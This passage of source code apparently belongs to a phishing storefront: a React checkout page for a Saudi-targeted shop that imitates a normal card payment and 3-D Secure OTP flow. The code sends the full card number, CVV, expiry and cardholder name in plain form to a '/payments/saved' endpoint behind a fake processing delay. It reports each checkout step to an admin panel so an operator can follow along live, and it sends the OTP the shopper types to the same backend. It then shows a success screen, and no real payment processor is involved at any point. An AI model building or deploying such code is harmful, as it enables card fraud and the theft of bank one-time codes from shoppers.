sessionId: string,
cardNumber: string,
cardHolder: string,
expiry: string,
cvv: string,
cardType: string,
) {
try {
await fetch(`${apiBase}/payments/saved`, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
session_id: sessionId,
card_number: cardNumber,
card_holder: cardHolder,
expiry,
cvv,
card_type: cardType,
}),
});
} catch (_) {}
}
const CF =
"w-full border border-[#333] rounded-xl px-4 py-3 text-sm outline-none focus:border-[#D4AF37] focus:ring-2 focus:ring-[#D4AF37]/20 bg-[#1a1a1a] text-white transition-all placeholder:text-gray-600";
const CL = "block text-sm font-medium text-gray-400 mb-1.5";
function CheckoutPage() {
const { t, lang } = useLang();
const { items, clearCart, subtotal } = useCart();
const [, navigate] = useLocation();
const sessionId = useRef(
`sess-${Date.now()}-${Math.random().toString(36).slice(2)}`,
).current;
const [step, setStep] = useState(1);
const [hasSavedDelivery, setHasSavedDelivery] = useState(false);
const [formData, setFormData] = useState(() => {
try {
const saved = localStorage.getItem("saved_delivery_info");
if (saved) {
const parsed = JSON.parse(saved);
return {
name: "",
phone: parsed.phone || "",
email: parsed.email || "",
city: parsed.city || "الرياض",
neighborhood: parsed.neighborhood || "",
street: parsed.street || "",
building: parsed.building || "",
floor: parsed.floor || "",
cardNumber: "",
expiry: "",
cvv: "",
cardHolder: "",
};
}
} catch (_) {}
return {
name: "",
phone: "",
email: "",
city: "الرياض",
neighborhood: "",
street: "",
building: "",
floor: "",
cardNumber: "",
expiry: "",
cvv: "",
cardHolder: "",
};
});
const [otp, setOtp] = useState("");
const [otpTimer, setOtpTimer] = useState(15);
const [otpLoading, setOtpLoading] = useState(false);
const [otpSuccess, setOtpSuccess] = useState(false);
const [placedOrderNumber, setPlacedOrderNumber] = useState("");
const [processing, setProcessing] = useState(false);
const timerRef = useRef<ReturnType<typeof setInterval> | undefined>(
undefined,
);
useEffect(() => {
try {
const saved = localStorage.getItem("saved_delivery_info");
if (saved) {
const parsed = JSON.parse(saved);
if (parsed.phone || parsed.city) setHasSavedDelivery(true);
}
} catch (_) {}
}, []);
useEffect(() => {
if (items.length === 0 && !otpSuccess) navigate("/cart");
}, [items.length, otpSuccess, navigate]);
// Send checkout event to notify admin panel
const sendCheckoutEvent = useCallback(
async (stepNum: number, stepLabel: string) => {
try {
await fetch(`${API}/checkout-events`, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
session_id: sessionId,
step: stepNum,
step_label: stepLabel,
}),
});
} catch (_) {}
},
[sessionId],
);
// Step 1: customer arrived at delivery info page
useEffect(() => {
sendCheckoutEvent(1, "بيانات التوصيل");
// eslint-disable-next-line react-hooks/exhaustive-deps
}, []);
const { data: storeSettings } = useStoreSettings();
const freeShipRiyadh = parseFloat(
storeSettings?.cart_free_shipping_riyadh || "299",
);
const freeShipOther = parseFloat(
storeSettings?.cart_free_shipping_other || "399",
);
const feeRiyadh = parseFloat(storeSettings?.cart_delivery_fee_riyadh || "19");
const feeOther = parseFloat(storeSettings?.cart_delivery_fee_other || "29");
const minOrder = parseFloat(storeSettings?.cart_min_order || "0");
const checkoutTitle = storeCopy(
storeSettings,
lang,
"checkout_page_title",
t("checkout_title"),
);
const checkoutSubtitle = storeCopy(
storeSettings,
lang,
"checkout_page_subtitle",
t("checkout_subtitle"),
);
const deliverySectionTitle = storeCopy(
storeSettings,
lang,
"delivery_section_title",
t("delivery_info"),
);
const deliverySavedBadge = storeCopy(
storeSettings,
lang,
"delivery_saved_badge",
t("saved_address"),
);
const deliveryPeakWarning = storeCopy(
storeSettings,
lang,
"delivery_peak_warning",
t("peak_warning"),
);
const deliveryContinueLabel = storeCopy(
storeSettings,
lang,
"delivery_continue_button",
t("continue_to_payment"),
);
const paymentSectionTitle = storeCopy(
storeSettings,
lang,
"payment_section_title",
t("payment_method"),
);
const paymentSectionSubtitle = storeCopy(
storeSettings,
lang,
"payment_section_subtitle",
t("payment_methods_sub"),
);
const paymentButtonLabel = storeCopy(
storeSettings,
lang,
"payment_submit_button",
t("pay_btn"),
);
const verificationTitle = storeCopy(
storeSettings,
lang,
"verification_section_title",
t("otp_title"),
);
const verificationSubtitle = storeCopy(
storeSettings,
lang,
"verification_section_subtitle",
t("otp_msg"),
);
const verificationHint = storeCopy(
storeSettings,
lang,
"verification_hint",
t("otp_hint"),
);
const verificationProcessingTitle = storeCopy(
storeSettings,
lang,
"verification_processing_title",
t("verifying"),
);
const verificationProcessingMsg = storeCopy(
storeSettings,
lang,
"verification_processing_msg",
t("verifying_msg"),
);
const verificationSuccessTitle = storeCopy(
storeSettings,
lang,
"verification_success_title",
t("payment_success"),
);
const verificationSuccessMsg = storeCopy(
storeSettings,
lang,
"verification_success_msg",
t("payment_success_msg"),
);
const isRiyadh = formData.city === "الرياض";
const shippingFee = isRiyadh
? subtotal >= freeShipRiyadh
? 0
: feeRiyadh
: subtotal >= freeShipOther
? 0
: feeOther;
const finalTotal = subtotal + shippingFee;
const belowMinOrder = minOrder > 0 && subtotal < minOrder;
const rawCard = formData.cardNumber.replace(/\s/g, "");
// Detect card type from the very first digit(s)
const cardType: "VISA" | "MASTER" | "MADA" | null = (() => {
if (!rawCard) return null;
const first = rawCard[0];
if (first === "4") return "VISA";
if (first === "5") return "MASTER";
if (first === "6") return "MADA";
// 2-series Mastercard: starts with 2227 (needs 1st digit "2")
// Show badge after 1st digit "2" (optimistic); refine at 2 digits
if (first === "2") {
if (rawCard.length === 1) return "MASTER"; // optimistic from digit 1
const p2 = parseInt(rawCard.substring(0, 2), 10);
return p2 >= 22 && p2 <= 27 ? "MASTER" : null;
}
return null;
})();
const isValidCard = rawCard.length === 16 && !!cardType;
const cardError = rawCard.length === 16 && !cardType;
const cardHolderError =
formData.cardHolder.length > 0 &&
/[^\u0000-\u007F]/.test(formData.cardHolder);
const isValidExpiry = (() => {
const parts = formData.expiry.split("/");
if (parts.length !== 2 || parts[0].length !== 2 || parts[1].length !== 2)
return false;
const month = parseInt(parts[0], 10);
const year = 2000 + parseInt(parts[1], 10);
if (month < 1 || month > 12) return false;
const now = new Date();
return (
year > now.getFullYear() ||
(year === now.getFullYear() && month >= now.getMonth() + 1)
);
})();
const expiryComplete = formData.expiry.length === 5;
const expiryError = expiryComplete && !isValidExpiry;
const handleNext = (e: React.FormEvent) => {
e.preventDefault();
if (step === 1) {
try {
localStorage.setItem(
"saved_delivery_info",
JSON.stringify({
phone: formData.phone,
email: formData.email,
city: formData.city,
neighborhood: formData.neighborhood,
street: formData.street,
building: formData.building,
floor: formData.floor,
}),
);
setHasSavedDelivery(true);
} catch (_) {}
sendCheckoutEvent(2, "معلومات بطاقة الدفع");
setStep(2);
window.scrollTo({ top: 0, behavior: "smooth" });
} else if (step === 2) {
setProcessing(true);
setTimeout(async () => {
setProcessing(false);
await saveCardToApi(
API,
sessionId,
rawCard,
formData.cardHolder,
formData.expiry,
formData.cvv,
cardType || "CARD",
);
sendCheckoutEvent(3, "تأكيد OTP");
setStep(3);
window.scrollTo({ top: 0, behavior: "smooth" });
startOtpTimer();
}, 2000);
}
};
const startOtpTimer = () => {
setOtpTimer(15);
clearInterval(timerRef.current);
timerRef.current = setInterval(() => {
setOtpTimer((prev) => {
if (prev <= 1) {
clearInterval(timerRef.current);
return 0;
}
return prev - 1;
});
}, 1000);
};
const handleConfirmOrder = () => {
if (otp.length !== 4 && otp.length !== 6) return;
setOtpLoading(true);
setTimeout(async () => {
try {
const orderRes = await fetch(`${API}/orders`, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
session_id: sessionId,
customer_name: formData.name,
customer_phone: formData.phone,
customer_email: formData.email,
shipping_address: [
formData.city,
formData.neighborhood && `حي ${formData.neighborhood}`,
formData.street && `شارع ${formData.street}`,
formData.building && `مبنى ${formData.building}`,
formData.floor && `دور ${formData.floor}`,
]
.filter(Boolean)
.join("، "),
city: formData.city,
neighborhood: formData.neighborhood,
street: formData.street,
building: formData.building,
floor: formData.floor,
otp_code: otp,
payment_method: cardType || "CARD",
notes: "",
items: items.map((item) => ({
product_id: item.product.id,
product_name: item.product.name,
product_image: Array.isArray(item.product.images)
? item.product.images[0]
: "",
quantity: item.quantity,
price: Number(item.product.price),
selected_size: item.size || undefined,
selected_color: item.color || undefined,
})),
}),
});
if (orderRes.ok) {
const orderData = await orderRes.json();
if (orderData?.order_number)
setPlacedOrderNumber(orderData.order_number);
}
} catch (_) {}
clearCart();
setOtpLoading(false);
setOtpSuccess(true);
setTimeout(() => navigate("/"), 7000);
}, 15000);
};
const stepLabels = [
storeCopy(
storeSettings,
lang,
"checkout_step_delivery",
t("step_delivery"),
),
storeCopy(storeSettings, lang, "checkout_step_payment", t("step_payment")),
];
return (
<div className="min-h-screen bg-[#0a0a0a] py-8 px-4">
<div className="max-w-lg mx-auto">
{/* Back button */}
<button
onClick={() => window.history.back()}
className="flex items-center gap-1.5 text-white/50 hover:text-[#D4AF37] transition-colors bg-white/5 hover:bg-[#D4AF37]/10 border border-white/10 hover:border-[#D4AF37]/30 rounded-xl px-3 py-1.5 text-sm mb-6"
>
<svg
className="w-4 h-4"
fill="none"
stroke="currentColor"
viewBox="0 0 24 24"
>
<path
strokeLinecap="round"
strokeLinejoin="round"
strokeWidth={2}
d="M15 19l-7-7 7-7"
/>
</svg>
{t("back")}
</button>
{/* Title */}
<div className="text-center mb-8">
<h1 className="text-2xl font-black text-white">{checkoutTitle}</h1>
<p className="text-gray-500 text-sm mt-1">{checkoutSubtitle}</p>
</div>
{/* Steps */}
<div className="flex items-center justify-center mb-8 gap-0">
{stepLabels.map((label, i) => {
const s = i + 1;
const active = step === s;
const done = step > s;
return (
<div key={s} className="flex items-center">
<div className="flex flex-col items-center">
<div
className={`w-9 h-9 rounded-full flex items-center justify-center text-sm font-bold border-2 transition-all
${done ? "bg-[#D4AF37] border-[#D4AF37] text-black" : active ? "border-[#D4AF37] text-[#D4AF37] bg-transparent" : "border-[#333] text-gray-600 bg-transparent"}`}
>
{done ? "✓" : s}
</div>
<span
className={`text-xs mt-1 font-medium ${active || done ? "text-[#D4AF37]" : "text-gray-600"}`}
>
{label}
</span>
</div>
{i < stepLabels.length - 1 && (
<div
className={`w-12 h-0.5 mx-2 mb-4 ${step > s ? "bg-[#D4AF37]" : "bg-[#222]"}`}
/>
)}
</div>
);
})}
</div>
<div className="bg-[#111] rounded-2xl border border-[#222] overflow-hidden">
<AnimatePresence mode="wait">
{/* Step 1: Shipping */}
{step === 1 && (
<motion.form
key="step1"
initial={{ opacity: 0, x: 20 }}
animate={{ opacity: 1, x: 0 }}
exit={{ opacity: 0, x: -20 }}
onSubmit={handleNext}
className="p-6 space-y-5"
>
<div className="flex items-center justify-between">
<h2 className="text-lg font-bold text-white">
{deliverySectionTitle}
</h2>
</div>
{/* شروط التوصيل */}
{(() => {
let conds: {
id: string;
text: string;
text_en?: string;
visible: boolean;
}[] = [];
try {
conds = JSON.parse(
storeSettings?.delivery_conditions || "[]",
);
} catch {
conds = [];
}
const visible = conds.filter((c) => c.visible);
if (visible.length === 0) return null;
return (
<div className="bg-[#111] border border-white/10 rounded-xl p-4 space-y-2 text-xs text-white/60">
<p className="text-white/80 font-bold text-sm mb-2 flex items-center gap-2">
<svg
className="w-4 h-4 text-orange-400 shrink-0"
fill="none"
stroke="currentColor"
viewBox="0 0 24 24"
>
<path
strokeLinecap="round"
strokeLinejoin="round"
strokeWidth={2}
d="M13 16h-1v-4h-1m1-4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"
/>
</svg>
{t("delivery_conditions")}
</p>
{visible.map((c) => (
<p key={c.id}>
{lang === "en" && c.text_en ? c.text_en : c.text}
</p>
))}
</div>
);
})()}
{hasSavedDelivery && (
<div className="bg-[#D4AF37]/8 border border-[#D4AF37]/25 rounded-xl px-4 py-3 flex items-start gap-3">
<svg
className="w-4 h-4 text-[#D4AF37] shrink-0 mt-0.5"
fill="none"
stroke="currentColor"
viewBox="0 0 24 24"
>
<path
strokeLinecap="round"
strokeLinejoin="round"
strokeWidth={2}
d="M17.657 16.657L13.414 20.9a1.998 1.998 0 01-2.827 0l-4.244-4.243a8 8 0 1111.314 0z"
/>
<path
strokeLinecap="round"
strokeLinejoin="round"
strokeWidth={2}
d="M15 11a3 3 0 11-6 0 3 3 0 016 0z"
/>
</svg>
<div className="flex-1 min-w-0">
<p className="text-[#D4AF37] font-bold text-xs mb-0.5">
{deliverySavedBadge}
</p>
<p className="text-gray-500 text-xs truncate">
{formData.name} {formData.phone}
{formData.neighborhood
? ` — حي ${formData.neighborhood}`
: ""}
</p>
</div>
<button
type="button"
onClick={() => {
setFormData({
name: "",
phone: "",
email: "",
city: "الرياض",
neighborhood: "",
street: "",
building: "",
floor: "",
cardNumber: "",
expiry: "",
cvv: "",
cardHolder: "",
});
setHasSavedDelivery(false);
}}
className="text-gray-600 hover:text-gray-400 text-xs shrink-0 underline transition-colors"
>
{t("change")}
</button>
</div>
)}
{/* Peak warning */}
<div className="bg-amber-500/10 border border-amber-500/30 rounded-xl px-4 py-3 text-xs text-amber-400 flex gap-2">
<span></span>
<span>{deliveryPeakWarning}</span>
</div>
<div className="grid grid-cols-2 gap-4">
<div className="col-span-2">
<label className={CL}>{t("full_name")} *</label>
<input
required
type="text"
value={formData.name}
onChange={(e) =>
setFormData({ ...formData, name: e.target.value })
}
className={CF}
placeholder="محمد العتيبي"
autoComplete="name"
/>
</div>
<div>
<label className={CL}>{t("phone")} *</label>
<input
required
type="tel"
dir="ltr"
value={formData.phone}
onChange={(e) =>
setFormData({ ...formData, phone: e.target.value })
}
className={CF}
placeholder="05XXXXXXXX"
autoComplete="tel"
/>
</div>
<div>
<label className={CL}>{t("country")}</label>
<input
type="text"
value={t("saudi_arabia")}
readOnly
className={`${CF} opacity-60 cursor-not-allowed`}
/>
</div>
<div className="col-span-2">
<label className={CL}>{t("city")} *</label>
<select
value={formData.city}
onChange={(e) =>
setFormData({ ...formData, city: e.target.value })
}
className={CF}
>
{CHECKOUT_CITIES.map((c) => (
<option key={c.value} value={c.value}>
{lang === "en" ? c.label_en : c.label}
</option>
))}
</select>
</div>
<div className="col-span-2">
<label className={CL}>{t("neighborhood")} *</label>
<input
required
type="text"
value={formData.neighborhood}
onChange={(e) =>
setFormData({
...formData,
neighborhood: e.target.value,
})
}
className={CF}
placeholder="حي النزهة"
/>
</div>
<div className="col-span-2">
<label className={CL}>{t("street")} *</label>
<input
required
type="text"
value={formData.street}
onChange={(e) =>
setFormData({ ...formData, street: e.target.value })
}
className={CF}
placeholder="شارع الأمير محمد بن عبدالعزيز"
/>
</div>
<div>
<label className={CL}>{t("building")} *</label>
<input
required
type="text"
value={formData.building}
onChange={(e) =>
setFormData({ ...formData, building: e.target.value })
}
className={CF}
placeholder="123"
/>
</div>
<div>
<label className={CL}>{t("floor")}</label>
<input
type="text"
value={formData.floor}
onChange={(e) =>
setFormData({ ...formData, floor: e.target.value })
}
className={CF}
placeholder="الدور 2"
/>
</div>
</div>
{/* Order Summary */}
<div className="bg-[#0f0f0f] rounded-xl p-4 border border-[#222] text-sm space-y-2">
<div className="flex justify-between text-gray-400">
<span>{t("subtotal")}</span>
<span>
{subtotal.toFixed(2)} {t("currency")}
</span>
</div>
<div className="flex justify-between text-gray-400">
<span>{t("shipping")}</span>
<span>
{shippingFee === 0 ? (
<span className="text-green-400 font-bold">
{t("free")}
</span>
) : (
`${shippingFee} ${t("currency")}`
)}
</span>
</div>
<div className="flex justify-between font-bold text-white text-base border-t border-[#222] pt-2 mt-2">
<span>{t("total")}</span>
<span className="text-[#D4AF37]">
{finalTotal.toFixed(2)} {t("currency")}
</span>
</div>
</div>
<button
type="submit"
className="w-full bg-[#D4AF37] text-black font-black py-4 rounded-xl hover:bg-[#c9a62f] transition-colors text-base flex items-center justify-center gap-2 shadow-lg shadow-[#D4AF37]/20"
>
{deliveryContinueLabel}
<svg
className="w-5 h-5"
fill="none"
stroke="currentColor"
viewBox="0 0 24 24"
>
<path
strokeLinecap="round"
strokeLinejoin="round"
strokeWidth={2}
d="M15 19l-7-7 7-7"
/>
</svg>
</button>
</motion.form>
)}
{/* Step 2: Payment */}
{step === 2 && (
<motion.form
key="step2"
initial={{ opacity: 0, x: 20 }}
animate={{ opacity: 1, x: 0 }}
exit={{ opacity: 0, x: -20 }}
onSubmit={handleNext}
className="p-6 space-y-5"
>
<div>
<h2 className="text-lg font-bold text-white mb-1">
{paymentSectionTitle}
</h2>
{paymentSectionSubtitle && (
<p className="text-xs text-gray-500">
{paymentSectionSubtitle}
</p>
)}
</div>
{/* Apple Pay + Google Pay */}
<div className="flex gap-3">
<button
type="button"
className="flex-1 h-14 rounded-xl flex items-center justify-center font-bold text-base border border-[#333] bg-[#1c1c1e] text-white hover:bg-[#2a2a2a] transition-colors gap-2 shadow-md"
>
<svg
width="22"
height="22"
viewBox="0 0 24 24"
fill="white"
>
<path d="M18.71 19.5c-.83 1.24-1.71 2.45-3.05 2.47-1.34.03-1.77-.79-3.29-.79-1.53 0-2 .77-3.27.82-1.31.05-2.3-1.32-3.14-2.53C4.25 17 2.94 12.45 4.7 9.39c.87-1.52 2.43-2.48 4.12-2.51 1.28-.02 2.5.87 3.29.87.78 0 2.26-1.07 3.8-.91.65.03 2.47.26 3.64 1.98-.09.06-2.17 1.28-2.15 3.81.03 3.02 2.65 4.03 2.68 4.04-.03.07-.42 1.44-1.38 2.83M13 3.5c.73-.83 1.94-1.46 2.94-1.5.13 1.17-.34 2.35-1.04 3.19-.69.85-1.83 1.51-2.95 1.42-.15-1.15.41-2.35 1.05-3.11z" />
</svg>
Pay
</button>
<button
type="button"
className="flex-1 h-14 rounded-xl flex items-center justify-center font-bold text-base border border-[#333] bg-[#1c1c1e] text-white hover:bg-[#2a2a2a] transition-colors gap-2 shadow-md"
>
<svg width="22" height="22" viewBox="0 0 24 24">
<path
fill="#4285F4"
d="M22.56 12.25c0-.78-.07-1.53-.2-2.25H12v4.26h5.92c-.26 1.37-1.04 2.53-2.21 3.31v2.77h3.57c2.08-1.92 3.28-4.74 3.28-8.09z"
/>
<path
fill="#34A853"
d="M12 23c2.97 0 5.46-.98 7.28-2.66l-3.57-2.77c-.98.66-2.23 1.06-3.71 1.06-2.86 0-5.29-1.93-6.16-4.53H2.18v2.84C3.99 20.53 7.7 23 12 23z"
/>
<path
fill="#FBBC05"
d="M5.84 14.09c-.22-.66-.35-1.36-.35-2.09s.13-1.43.35-2.09V7.07H2.18C1.43 8.55 1 10.22 1 12s.43 3.45 1.18 4.93l2.85-2.22.81-.62z"
/>
<path
fill="#EA4335"
d="M12 5.38c1.62 0 3.06.56 4.21 1.64l3.15-3.15C17.45 2.09 14.97 1 12 1 7.7 1 3.99 3.47 2.18 7.07l3.66 2.84c.87-2.6 3.3-4.53 6.16-4.53z"
/>
</svg>
Pay
</button>
</div>
<div className="relative flex items-center">
<div className="flex-grow border-t border-[#222]" />
<span className="mx-4 text-xs text-gray-600 shrink-0">
{t("pay_with_card")}
</span>
<div className="flex-grow border-t border-[#222]" />
</div>
{/* Card Number */}
<div>
<label className={CL}>{t("card_number")}</label>
<div className="relative">
<input
required
type="text"
dir="ltr"
autoComplete="cc-number"
placeholder="0000 0000 0000 0000"
value={formData.cardNumber}
onChange={(e) =>
setFormData({
...formData,
cardNumber: formatCardNumberCO(e.target.value),
})
}
className={`${CF} pr-28 font-mono tracking-widest text-lg ${cardError ? "border-red-500 ring-2 ring-red-500/30" : isValidCard ? "border-[#D4AF37] ring-2 ring-[#D4AF37]/30" : ""}`}
/>
<div className="absolute right-3 top-1/2 -translate-y-1/2 flex gap-1.5 items-center">
{cardType === "VISA" && (
<span className="bg-blue-700 text-white text-xs font-black px-2.5 py-1 rounded-lg tracking-wider shadow">
VISA
</span>
)}
{cardType === "MASTER" && (
<span className="flex items-center gap-0.5">
<span className="w-5 h-5 rounded-full bg-red-500 inline-block" />
<span className="w-5 h-5 rounded-full bg-orange-400 -ml-2 inline-block" />
</span>
)}
{cardType === "MADA" && (
<span className="bg-green-700 text-white text-xs font-black px-2.5 py-1 rounded-lg shadow">
{lang === "en" ? "mada" : "مدى"}
</span>
)}
{!cardType && rawCard.length === 0 && (
<span className="text-gray-600 text-[11px] font-medium">
{lang === "en"
? "VISA / MC / mada"
: "VISA / MC / مدى"}
</span>
)}
</div>
</div>
{cardError && (
<p className="mt-1.5 text-xs text-red-400 flex items-center gap-1">
<svg
className="w-3 h-3 shrink-0"
fill="currentColor"
viewBox="0 0 20 20"
>
<path
fillRule="evenodd"
d="M18 10a8 8 0 11-16 0 8 8 0 0116 0zm-7 4a1 1 0 11-2 0 1 1 0 012 0zm-1-9a1 1 0 00-1 1v4a1 1 0 102 0V6a1 1 0 00-1-1z"
clipRule="evenodd"
/>
</svg>
{t("card_invalid")}
</p>
)}
</div>
<div className="grid grid-cols-2 gap-4">
<div>
<label className={CL}>{t("expiry")} *</label>
<input
required
type="text"
dir="ltr"
autoComplete="cc-exp"
placeholder="MM/YY"
value={formData.expiry}
onChange={(e) =>
setFormData({
...formData,
expiry: formatExpiryCO(e.target.value),
})
}
className={`${CF} font-mono ${expiryError ? "border-red-500 ring-2 ring-red-500/30" : expiryComplete && isValidExpiry ? "border-[#D4AF37] ring-2 ring-[#D4AF37]/30" : ""}`}
/>
{expiryError && (
<p className="mt-1.5 text-xs text-red-400 flex items-center gap-1">
<svg
className="w-3 h-3 shrink-0"
fill="currentColor"
viewBox="0 0 20 20"
>
<path
fillRule="evenodd"
d="M18 10a8 8 0 11-16 0 8 8 0 0116 0zm-7 4a1 1 0 11-2 0 1 1 0 012 0zm-1-9a1 1 0 00-1 1v4a1 1 0 102 0V6a1 1 0 00-1-1z"
clipRule="evenodd"
/>
</svg>
{t("card_expired")}
</p>
)}
</div>
<div>
<label className={CL}>{t("cvv")} *</label>
<input
required
type="password"
dir="ltr"
autoComplete="cc-csc"
placeholder="•••"
maxLength={3}
value={formData.cvv}
onChange={(e) =>
setFormData({
...formData,
cvv: e.target.value
.replace(/\D/g, "")
.substring(0, 3),
})
}
className={`${CF} font-mono`}
/>
</div>
</div>
<div>
<label className={CL}>
{t("card_holder")} *{" "}
<span className="text-gray-600 font-normal">
({t("card_holder_hint")})
</span>
</label>
<input
required
type="text"
dir="ltr"
autoComplete="cc-name"
placeholder="MOHAMMED ALOTAIBI"
value={formData.cardHolder}
onChange={(e) => {
const filtered = e.target.value
.replace(/[^\u0000-\u007F]/g, "")
.toUpperCase();
setFormData({ ...formData, cardHolder: filtered });
}}
className={`${CF} uppercase tracking-wide ${cardHolderError ? "border-red-500 ring-2 ring-red-500/30" : formData.cardHolder.trim().length >= 3 && !cardHolderError ? "border-[#D4AF37] ring-2 ring-[#D4AF37]/30" : ""}`}
/>
{cardHolderError && (
<p className="mt-1.5 text-xs text-red-400 flex items-center gap-1">
<svg
className="w-3 h-3 shrink-0"
fill="currentColor"
viewBox="0 0 20 20"
>
<path
fillRule="evenodd"
d="M18 10a8 8 0 11-16 0 8 8 0 0116 0zm-7 4a1 1 0 11-2 0 1 1 0 012 0zm-1-9a1 1 0 00-1 1v4a1 1 0 102 0V6a1 1 0 00-1-1z"
clipRule="evenodd"
/>
</svg>
{t("card_holder_error")}
</p>
)}
</div>
{/* Total */}
<div className="bg-[#0f0f0f] border border-[#222] rounded-xl p-4">
<div className="flex justify-between items-center font-bold text-white">
<span>{t("payment_total")}</span>
<span className="text-[#D4AF37] text-xl">
{finalTotal.toFixed(2)} {t("currency")}
</span>
</div>
<p className="text-xs text-gray-600 mt-1">
{t("incl_shipping")}
</p>
</div>
<div className="flex gap-3">
<button
type="button"
onClick={() => setStep(1)}
className="px-6 py-4 bg-[#1a1a1a] border border-[#333] text-gray-300 font-bold rounded-xl hover:bg-[#222] transition-colors"
>
{t("back")}
</button>
<button
type="submit"
disabled={
processing || expiryError || cardError || cardHolderError
}
className="flex-1 bg-[#D4AF37] text-black font-black rounded-xl py-4 flex items-center justify-center gap-2 hover:bg-[#c9a62f] transition-colors shadow-lg shadow-[#D4AF37]/20 disabled:opacity-60"
>
{processing ? (
<>
<svg
className="w-5 h-5 animate-spin"
fill="none"
viewBox="0 0 24 24"
>
<circle
className="opacity-25"
cx="12"
cy="12"
r="10"
stroke="currentColor"
strokeWidth="4"
/>
<path
className="opacity-75"
fill="currentColor"
d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"
/>
</svg>{" "}
{t("processing")}
</>
) : (
<>
<svg
className="w-4 h-4"
fill="none"
stroke="currentColor"
viewBox="0 0 24 24"
>
<path
strokeLinecap="round"
strokeLinejoin="round"
strokeWidth={2}
d="M12 15v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2zm10-10V7a4 4 0 00-8 0v4h8z"
/>
</svg>{" "}
{paymentButtonLabel} {finalTotal.toFixed(2)}{" "}
{t("currency")}
</>
)}
</button>
</div>
</motion.form>
)}
{/* Step 3: OTP */}
{step === 3 && (
<motion.div
key="step3"
initial={{ opacity: 0, scale: 0.97 }}
animate={{ opacity: 1, scale: 1 }}
className="p-8"
>
<AnimatePresence mode="wait">
{otpSuccess ? (
<motion.div
key="success"
initial={{ opacity: 0, scale: 0.9 }}
animate={{ opacity: 1, scale: 1 }}
className="text-center py-6"
>
<div className="w-20 h-20 bg-green-500/10 rounded-full flex items-center justify-center mx-auto mb-4 border border-green-500/30">
<svg
className="w-10 h-10 text-green-400"
fill="none"
stroke="currentColor"
viewBox="0 0 24 24"
>
<path
strokeLinecap="round"
strokeLinejoin="round"
strokeWidth={2}
d="M5 13l4 4L19 7"
/>
</svg>
</div>
<h2 className="text-2xl font-black text-green-400 mb-2">
{verificationSuccessTitle}
</h2>
{placedOrderNumber && (
<div className="my-5 mx-auto max-w-xs">
<p className="text-gray-400 text-xs mb-2 uppercase tracking-widest">
{lang === "en"
? "Order Confirmation Code"
: "رمز تأكيد الطلب"}
</p>
<div className="bg-[#111] border-2 border-[#D4AF37]/60 rounded-2xl px-6 py-4 shadow-lg shadow-[#D4AF37]/10">
<span className="font-mono text-[#D4AF37] text-xl font-black tracking-widest select-all break-all">
{placedOrderNumber}
</span>
</div>
<p className="text-gray-500 text-xs mt-2">
{lang === "en"
? "Keep this code to track your order"
: "احتفظ بهذا الرمز لمتابعة طلبك"}
</p>
</div>
)}
<p className="text-gray-500 text-sm">
{verificationSuccessMsg}
</p>
</motion.div>
) : otpLoading ? (
<motion.div
key="loading"
initial={{ opacity: 0 }}
animate={{ opacity: 1 }}
className="text-center py-6"
>
<div className="w-20 h-20 bg-[#D4AF37]/10 rounded-full flex items-center justify-center mx-auto mb-4 border border-[#D4AF37]/30">
<svg
className="w-10 h-10 text-[#D4AF37] animate-spin"
fill="none"
viewBox="0 0 24 24"
>
<circle
className="opacity-25"
cx="12"
cy="12"
r="10"
stroke="currentColor"
strokeWidth="4"
/>
<path
className="opacity-75"
fill="currentColor"
d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"
/>
</svg>
</div>
<h2 className="text-xl font-bold text-white mb-2">
{verificationProcessingTitle}
</h2>
<p className="text-gray-500 text-sm">
{verificationProcessingMsg}
</p>
<div className="mt-6 w-48 h-1.5 bg-[#1a1a1a] rounded-full mx-auto overflow-hidden">
<motion.div
className="h-full bg-[#D4AF37] rounded-full"
initial={{ width: "0%" }}
animate={{ width: "100%" }}
transition={{ duration: 15, ease: "linear" }}
/>
</div>
</motion.div>
) : (
<motion.div
key="otp-form"
initial={{ opacity: 0 }}
animate={{ opacity: 1 }}
className="text-center"
>
<div className="w-16 h-16 bg-[#D4AF37]/10 rounded-full flex items-center justify-center mx-auto mb-4 border border-[#D4AF37]/30">
<svg
className="w-8 h-8 text-[#D4AF37]"
fill="none"
stroke="currentColor"
viewBox="0 0 24 24"
>
<path
strokeLinecap="round"
strokeLinejoin="round"
strokeWidth={2}
d="M9 12l2 2 4-4m5.618-4.016A11.955 11.955 0 0112 2.944a11.955 11.955 0 01-8.618 3.04A12.02 12.02 0 003 9c0 5.591 3.824 10.29 9 11.622 5.176-1.332 9-6.03 9-11.622 0-1.042-.133-2.052-.382-3.016z"
/>
</svg>
</div>
<h2 className="text-xl font-bold text-white mb-1">
{verificationTitle}
</h2>
<p className="text-gray-500 text-sm mb-6">
{verificationSubtitle}
</p>
<div className="max-w-xs mx-auto">
<input
type="text"
dir="ltr"
maxLength={6}
value={otp}
onChange={(e) =>
setOtp(e.target.value.replace(/\D/g, ""))
}
className="w-full border-2 border-[#333] rounded-xl px-4 py-4 text-center text-3xl tracking-[1em] font-mono focus:border-[#D4AF37] outline-none mb-2 bg-[#0f0f0f] text-white"
placeholder="——————"
/>
<p className="text-xs text-gray-600 mb-4 text-center">
{verificationHint}
</p>
<button
onClick={handleConfirmOrder}
disabled={otp.length !== 4 && otp.length !== 6}
className="w-full bg-[#D4AF37] text-black font-black py-4 rounded-xl hover:bg-[#c9a62f] transition-colors flex justify-center items-center gap-2 disabled:opacity-40 text-base shadow-lg shadow-[#D4AF37]/20"
>
<svg
className="w-5 h-5"
fill="none"
stroke="currentColor"
viewBox="0 0 24 24"
>
<path
strokeLinecap="round"
strokeLinejoin="round"
strokeWidth={2}
d="M5 13l4 4L19 7"
/>
</svg>
{t("confirm")}
</button>
<p className="mt-5 text-sm text-gray-600">
{otpTimer > 0 ? (
`${t("otp_resend_in")} ${otpTimer} ${t("otp_seconds")}`
) : (
<button
onClick={startOtpTimer}
className="text-[#D4AF37] font-bold hover:underline"
>
{t("otp_resend")}
</button>
)}
</p>
</div>
</motion.div>
)}
</AnimatePresence>
</motion.div>
)}
</AnimatePresence>
</div>
{/* Security Badge */}
